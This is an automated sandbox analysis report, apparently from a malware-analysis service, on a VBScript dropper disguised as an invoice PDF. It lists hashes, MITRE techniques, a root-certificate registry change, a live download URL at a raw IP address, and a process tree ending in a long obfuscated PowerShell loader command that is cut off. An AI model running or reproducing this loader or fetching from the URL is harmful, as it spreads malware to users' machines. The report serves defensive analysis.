8424aa8b6fda143bd0e2e82ea906b2aee8cf49e416308cd92bd76bdcd46b866f

Analysis

max time kernel
145s
max time network
143s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
27/02/2023, 16:24

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Factura_30777_230_pdf.vbs
Size 48KB
Sample230227-twddlsee57
SHA256 8424aa8b6fda143bd0e2e82ea906b2aee8cf49e416308cd92bd76bdcd46b866f
MD5 056d6fcd22b0e689b95c83ae3503a675
SHA1 c4e7548d2a2a738d8a704e32ff2f991690d16267
SHA512 de499c2a32433d301d4dd2ec9074b6f0ad48a306c28ae3a72573c1028e7a17096fa287d811a4ba94f307cb4534a8f80b687dc7ede3a0109b8eed783883582016
SSDEEP 1536:07xqcnpydmll16CO1JqaWT5CtLRchF3qs:0tpyg16CO3qaW+C5qs
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://84.38.130.165/Afvigend.sea

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	5060	WScript.exe
56	4944	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Control Panel\International\Geo\Nation	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies system certificate store 2 TTPs 5 IoCs

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43	WScript.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 0f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c14000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d432000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2	WScript.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 190000000100000010000000749966cecc95c1874194ca7203f9b6200300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d431d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0b000000010000001200000044006900670069004300650072007400000014000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f6200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa62000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2	WScript.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 04000000010000001000000087ce0b7b2a0e4900e158719b37a893720f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c14000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d43190000000100000010000000749966cecc95c1874194ca7203f9b6202000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2	WScript.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 5c000000010000000400000000080000190000000100000010000000749966cecc95c1874194ca7203f9b6200300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d431d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0b000000010000001200000044006900670069004300650072007400000014000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f6200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa604000000010000001000000087ce0b7b2a0e4900e158719b37a893722000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2	WScript.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2204	powershell.exe
2204	powershell.exe
4944	powershell.exe
4944	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2204	powershell.exe
Token: SeDebugPrivilege	4944	powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 5060 wrote to memory of 2204	5060	WScript.exe	89
PID 5060 wrote to memory of 2204	5060	WScript.exe	89
PID 2204 wrote to memory of 4944	2204	powershell.exe	91
PID 2204 wrote to memory of 4944	2204	powershell.exe	91
PID 2204 wrote to memory of 4944	2204	powershell.exe	91

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Factura_30777_230_pdf.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:5060
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Twis = """SkbFNecuAernBuycDostseniNonotvanDec BovpTillNoneFrebForiPilfKuliromcAgraSurtGav1Dep1Str Nco{opv Wha Man Tra TagpkvaaJairNunaNonmBet(Kad[KasSLegtorirKoniDobnPaagRep]Mus`$tirVReaeUndiRewnEdgsVivtWasosugnInfemai)Let;Stu Sku Por Per Unf`$BogMGlaeAtogUnsaHje Flu=Dif evaNzageUnmwPaa-LedOPlebCamjUveePrecSvatSup RegbtidyisetBudeKla[Ser]Fri Hom(Ned`$AviVExeeSpiiMicnfatsunbtToroFornUdseJor.BloLFahethenEndgIsotMumhueg Jel/Myc Pre2Emb)Ham;est Udd Gla Rrf VanFindoIsorUds(Ans`$SelBIderAngyBesdUnfnSciiInnnHue=Spa0Kra;Bes und`$SteBIncreffyEqudCyenOmkiIsmnAna Nvn-UnflOnctSvk ant`$RekVRaneTepiMignRigsRyktDicoPronnareTol.LsnLIraeBlonUnigFintAfshBef;Urn Ove`$AncBDisrUdkyIdidRegnIsoiafrnDis+Kru=Cro2Ind)Den{Vrt ade Mel`$OveSdybpWidoDisrBortHeasSlobTerePergDatiLed Fin=Int col`$BrnVRedeIngiDyrnBacsUnjtSynoMatnSteeKam.TucSSaluBiubunasWattDiorDanieftnStagSpi(Rea`$SabBApprTesyDisdBilnTveiTrenlut,Wra Rec2Mas)qua;Det Hje Com Vis Unp Dec Gal Pre Kor`$PanMOveeNaagLokaVer[Gas`$SorBNicrDowyDemdAnlnApeiOvenUne/Sim2Mar]Cza Sig=Nat Ddb[KnacLucoErinPosvDioeShorSantAar]Ind:Mai:VanTSatoTurBTrayTertSuseSpo(Swa`$EbeSdispBaloJysrNontMonsPolbCooeVaggAnniNoo,Sko Mic1Non6Hag)Afr;Bil Tes Trn`$FamSSkapPanoFlarIsotExpsAntbAlteFengColiInd ser=Puf Bad(Beh`$SylMGaseSgegTweaTro[Hvn`$BetBForrParyKlodUnnnAfliphonRod/Opb2Unn]Acc rec-LegbcarxFiloFluruni Sel1Gen9Bes9Und)Mil;Sva Jus Drz`$WatMVideUndgHaaaCor[Alv`$AnsBPierSpeyStadTeknOsmiWainOut/Bes2Ory]Ret for=Rat Ove`$OrdSBevpSugoDisrAdmtPrisavlbVaneTimgKiniOch;San Amt Mer Uds Can}Paa Roi[SreSandtSeprDuniReanKlogUds]Luc[PriSUndyTapsOdotFateBormDam.CurTmiceAarxKlatNat.IndEKomnMorcAcroHundSygiNdsnPhogOfr]pos:Inv:SupALidSMasCUimIHolIPro.RedGNavePortOveSskitCirrKlyiAnlnpregBli(gra`$MyoMKleeUltgTegaPin)Aer;Rei}EftSSkreLagtmil-EdiCPolopranGymtSlseLannMiltsvv Ung'FinEFor:Int\UdscFes.SkidSkaaFritVig'Skg Vil'Dsi1biv'Ass;Kas`$BidMDiviPresTermUnuaHrizCap Tra=Ove NonGVrdeHaltOli-tomCEksoudsnFortGeneBrenNontKol Ind'oveEsol:Svu\LimcBii.SmidBlyaLattBea'Vkk;Une;Sco`$TroGMageUdpnRmeaStenCoe0Lem=HokpEgblKoneJembSubiComfSpriFascNitaMortVan1Taa1Arn fel'Ank9Ini4StiBGruESndBInc4claBShr3PomABul2DreAUdeATriEApi9SkyADar3HocATeaBOffAStnBCir'Lux;ForiReifMac Not(Kit`$MyeMAfdinavsEnemEviaSnlzFor Fly-NoreHydqArb Ens'Des1Tre'Kla)Sel For{Non`$IncGLaneIsknSueaFornCis0Egi Sis=Dis Kno'Mid'Hor}Gro;Hyp`$HerGGadeDisnBlaaBulnSka1Bur=FompUnrldepeAfmbHolifrifAfsimaccPreaHydtTeg1Kal1Ski Sge'Ale8CarAAfrAFedEYogASam4scrBPlo5ErhACur8UnjBEnt4UntALam8domADrk1EncBUnd3ComEAnt9Cap9Bay0BleAVesEHonALak9StrFBuf4SpiFMar5HomEGem9Ste9Pri2TexAPar9TraBTil4GraAWhe6LetAOve1TilAUns2Dra8Far9banAeni6NeeBKrh3LavADatEFagBOve1NonADuc2Cal8EnaAEneAMas2IndBInd3BenAAfrFUnmADia8AlrASym3PhlBfib4Afg'Out;Atr`$IriGbuneMennStvaBarnFri2fri=skupVellVeseOutbMidiResfKeriVelcHolapyrtNom1Kal1Teo Tra'Hje8Una0ajoADig2ChrBCyn3Eno9ber7PteBTip5InhASpi8claABil4Stt8Mon6ThyAHin3NonALuc3MatBPaa5RydAEnn2SkuBtou4GleBret4Une'Fas;Sup`$PepGJefeSkanDauaNonnDup3Mik=kokpIchljeteGambBraiFlafDrjiSincNonaDattHje1Gna1Per Ove'Mul9Spr4RelBPreEPilBPar4TovBSel3AliAAto2BlaAUaaAfraEGes9Haf9Svv5OpgBWet2BogAInn9KraBAar3SulASkiESemAVrkADriAPai2VisEPes9Sik8UntEBilAAco9PenBGhy3sulASlu2HypBRer5UnfADen8ComBpas7Jan9Sto4BaaAWig2PolBKun5AshBInd1ValASluERepACas4BukARam2SynBKrl4IndEUnb9Ple8PheFAstASko6GreAVin9BogAAnt3BowACopBPaaAIne2Sus9Kom5VotAHjh2OddAtie1Van'Tra;Ove`$PsyGHoseAnanfalaNrinVan4Unr=SenpEnelasheImpbKubiComfVetiArmcAsbaSertGam1Vig1Fir Naa'HaaBiso4RegBSat3AutBHor5FowADivEElsATyn9ForAAir0Hoo'Fun;Syd`$undGVaaeDisnSttaFornGru5Sep=GagpSallSepeFjebLauiLinfProiUvecFelaFeltCap1Okk1Tan Tin'fla8Rec0MobAPhy2MicBRei3her8TeoANifACaj8IndASta3gobBTin2CenARefBjetAPai2Con8UglFScrADec6UdvAgra9RelASan3BisATanBGazASit2bje'Pos;Gds`$DeoGBehePsenMolaEmbnLai6Spe=GenpStalLigeIntbFodiGadfTiliMiscMagaSigtBif1bor1For Osc'Rha9cyt5Lap9bro3Kon9Age4TmmBlac7KonASuk2HomARea4OutACurEBooASpo6aceAFelBFan8Bea9hebASrm6kamAUnpAUnjASki2MawEDisBcowEBel7Dis8NecFStoADrtEOveADil3GynANon2Rea8Sho5chaBTetETil9Sup4BorAForEProAEks0LycEKafBPhyEpos7Ove9Klu7InfBMin2UngAKri5AnhASerBTunAEftEPlaAunb4Col'Alp;Aci`$FilGFlleSpunOrdaHvinUnd7Mal=AltpZealGadeSacbToliSagfSulisupcHilaBlatErr1Civ1End Buk'Geo9Del5KnaBVil2RhiAMal9KefBSkn3GadAGenEOrdAHldAtofASkl2HovESkuBnemECat7Gol8fivAFreAran6IndAYng9RapABln6OveATon0TonATab2FleAPer3Tra'Trr;Con`$MewGLoneGranLaraTjenRei8Hyd=AugpKonlCrieConbendiSpifglaiundcFusatuntPla1Fun1Dor Nat'Tva9Amm5GimASul2BloABog1notALedBGadABes2ForAFil4SmaBole3BlrAInt2DykAVor3Geo8Hel3ResAVer2halAForBTryAOen2UnsAtil0bobAPom6PorBSan3TisALap2Uds'Uni;Lan`$PriGAlleindnGanaLevnCan9Tha=OptpRaslPareLasbHiliStefGaniMilcDemaBestGen1Sku1Dem Tab'Hes8ExoENonAUnh9Tar8HalAGarABab2FyrABurAAskADor8BreBMei5EbeBUruERen8SpeABarACap8AssACos3AlmBPis2FejAMeaBVanASee2Ste'Pan;Akr`$BrgFTaneUrsrmilrTreuPoklRimiStonSim0Nan=DoypSedlSjaeCanbOutiKuvfhygiDiacAppaRantKna1ted1Vej Rum'Unf8SweADolBUnbENeb8Fem3SigACee2FrdATroBMakASic2HavAMis0RepAhum6CitBMay3anrAUni2Alb9Fre3LseBSpoEoveBUnd7MaiAArb2kor'Pol;Afl`$PrcFTraeDrerSkirAntuBallLumiklnnGra1Ser=MecpPerlTraeTanbKuriFlgfHoviafscSniagentUnd1Fer1Car Reg'cha8Yaf4AnnACerBSenABio6CheBMas4NonBDif4MalEEndBFieEFlo7Bej9Pja7PhyBpur2BarAFod5GraAUndBAfsASygEChaALeu4UnpEPerBSteESna7Por9sul4TraANed2TraAgem6RrkAForBTilAThe2MadABra3ForEConBTraESup7Doe8Ace6PeaAUnd9PerBRac4NotAJvnELys8For4SamAUnaBNduACla6AfsBBug4LovBGce4afbEScaBAntESoi7Fri8Pre6NedBsur2ExpBSen3DelALus8Sta8Vaf4CheAVurBPlaAOps6TubBFre4silBGru4For'Tur;Gil`$ThyFCoweMorrBderSchuGstlPauifornBed2Ott=BoupTholScaeSmebHeliKuffDrfiReicAriaSkntAll1Pec1Trs Una'Kwm8AssELinAHeg9pixBFib1DigANed8BatAHejCAntASma2Oot'Tyd;Ret`$AgrFHeleDierConrUsaucuslGypibornMed3Gar=CobpDiklCeneLivbExpiProfNemiafdcMalaRgstpse1Cat1Byl Fiz'Bra9Con7JaiBAft2ThiAGan5FilArosBMatARudEPriAHou4AspELynBKarERef7Ans8ExcFWilAimpEAmbAUri3OsiAKla2Con8End5BluBFerESin9Gru4GalAEssERneAJer0NarECelBNaaEKim7Kor8Kam9SpoABss2coqBOpi0Hei9Una4IndAPeaBDocAOvo8StrBTyn3PapEOutBCerEUnw7Akk9Hns1AduAPopEVibBRek5semBkkk3KnaBLix2EthASel6GomAJetBtre'Fan;afg`$SnaFSmueStirHvirPicuBaglWoniIvonFor4Mov=IntpmetlSkjeCenbInniDetfOveiGracbedaUngtCha1eft1Ger Aen'Bil9Liv1LavAarvEInsBKas5BulBScl3komBUnn2MisAUfo6WhiAperBCur8Omo6OctAFriBElsATaxBResATub8DarANon4fis'Sni;bur`$tenFTarePaprEssrFifuplalFejiSuknsti5Bul=AbspEnelDameSprboutiImbfLeaiKoncExoaNontDeo1Bea1fum Rhe'CanARef9SpuBSpd3BroAkon3SteAEkvBIndAFolBUnd'Gas;Obj`$ProFLyseSkrrCorrFjeuStolOmpiLinnKer6sla=HaspBeglkimeRolbUnmiFrefUdriAutcForaTimtPho1Spr1Und Ind'Sch8Fin9GreBBlo3Sik9Ele7HosBKni5VitAHal8MarBFer3HndAHum2BasANon4BesBEdb3gru9Tri1SnoAGlyEDrmBten5FesBAfk3NedBHyp2SouASan6ArbAEntBDia8ModAUdsANeu2RefADipAOprAGra8DinBAtl5InvBTumEInc'Rum;Dia`$PhaFFroebolrAsfrSemuKomlBjniAbanDat7blo=SpepRodlTineSnubUndiTavfceriTopcantaSubtKlo1For1fat Sne'Bow8CorEGen8Sub2Epi9ProFant'Bru;Rge`$ManFAvieForrBanrtyvuCyclPauiRemnOut8Nrs=DispLanlFrieRepbResiRoefMngiArmcNonaSeltKau1Prs1nic Bge'Bre9DabBSta'Afm;Ref`$VilPInsrSyteTrosIngsAspeAfscflihfreeSup=UnspSerlDoterecbAbdiVegfresiGrucPlaaBantBow1Udt1Fle Vel'una9Vlv2Jut9Gra4For8Mem2Har9Pln5IndFOdm4TweFUnp5Kor'loa;Dyb`$mulFTllyCharminsTamtTae=parpFralbriePhobIntiOpvfArciFrecpavaBygtNit1Ost1Sch Kkk'Ung8Kor4UnaATil6LegAForBBadADunBSpr9Cam0SenAEctEVveAChe9TraADis3RetASal8BajBUnd0Set9Sal7PelBRev5DasAMag8SpeAKam4Reg8Pej6Lk 'Bol;ForfpatuBlonColcExitJesiMaroKomnThe PerfSplkKnopRob Hem{KorPGauadehrFllaAfamDgn Sil(Unr`$BanBLysaFlysFetsFreaOrdnDgndtilyHnsbCor,Beb Cac`$ApaCSisaAmypPreiRestTea)Ink Min Rem Paa Cor Hoo;Def`$DomAKlysBectUnnrAlmaStvgFilaBaglReloThanEvo0rec Sli=ManpTillVideEclbOveiwitfMoniDrucKleaUnctHep1Pro1Ure Sta'folEFod3Stu8She1StaAboo2ArgBSai4BraBKrf4LnfECau7TogFtheAProESup7LatEBerFTak9NyhCPse8Ant6DisBUng7CloBCam7Moi8Pse3ChaAGeo8CooAVg AMetAint6InvAHutEAmeAEff9Kup9QuiAScoFRemDBefFfriDBru8Sky4tyfBUrr2RamBHum5JohBDrg5MenAAmo2PoiAYng9PreBAbs3Kau8kan3AllAtau8KdkAKonALysAFoo6ReeAGavElinAPar9dkkEche9Tri8Sca0MocAUds2LenBvet3For8Dob6SkiBByg4SteBCai4SynAynd2EftAVigASubAFor5GraAMetBKemASteETacARan2OptBGig4IntENifFResEUndEBasECon7OudBPedBKarEUnp7Fla9Rep0MinAUdmFDraAPap2DisBPoc5PerADyg2AntERedAmel8Twi8QuiAKlo5SouAOxyDKalAHow2ProABre4SynBRag3DisEHem7GylBTufCchoEeng7SniERom3Har9Reb8ExcETnk9Ind8Gam0ZymARelBnonAObe8BarAFar5GodAMad6OveATisBUnd8Rem6BrsBMic4FarBMuj4oveASec2CoiAdedAGreABal5RaqABidBSelBAffEbro8Nov4UnoAVil6StuAsem4UrfASupFStoAGrn2perEBan7ButEUnbAArb8Ame6SteALde9LamARes3SnuERec7RefEWas3rec9Con8ZinEFee9pik8EnfBSmuAEat8PanAJam4AnnANon6FunBPun3NorAUnvEKloADas8semAund9ArcEPro9Gam9Rek4NonBTab7KnuAEgoBPodASunEDocBdir3TruEParFOysERef3Rat8Frk1ChiABeh2DrvBBal5EmuBPen5StrBSem2PinAUniBZebAAstEFejAShu9UngFManFAllEUnsEHes9DarCMilEStvAForFleg6Ven9resAnetEAka9Tog8Dag2ActBCar6BryBVal2SluAUnd6TalAVenBPolBGst4EngERetFConEBra3Unb8Ind0ForAPre2RumALse9PivALys6GraAArb9LanFAnt7DisEcocEGemESty7ArtBSjlABegEOveERefEPar9Exa8Inc0SpaAOtt2AddBTil3Til9Blo3loiBunmETvrBArc7HelABra2ErkEMolFUnbEMed3Esc8ret0GruADis2spiAKla9AllAOcc6ReiACha9SerFAde6MarEFilEArv'ser;Pro&Sis(Tol`$GalFColeBikrPenrOvnuArelBloiJoznFil7Nyt)Ath Mes`$quiASylsAsttIntrcocaAltgHitaTanlForoSkunRat0Win;Brn`$DisAAresJostSkrrHobaoprgTheaReplAmfoSignMyo5Sto Mul=Fus DoupTrplTileEjnbVariFejfEmbiVitcLolaPhitGen1Hjb1Min 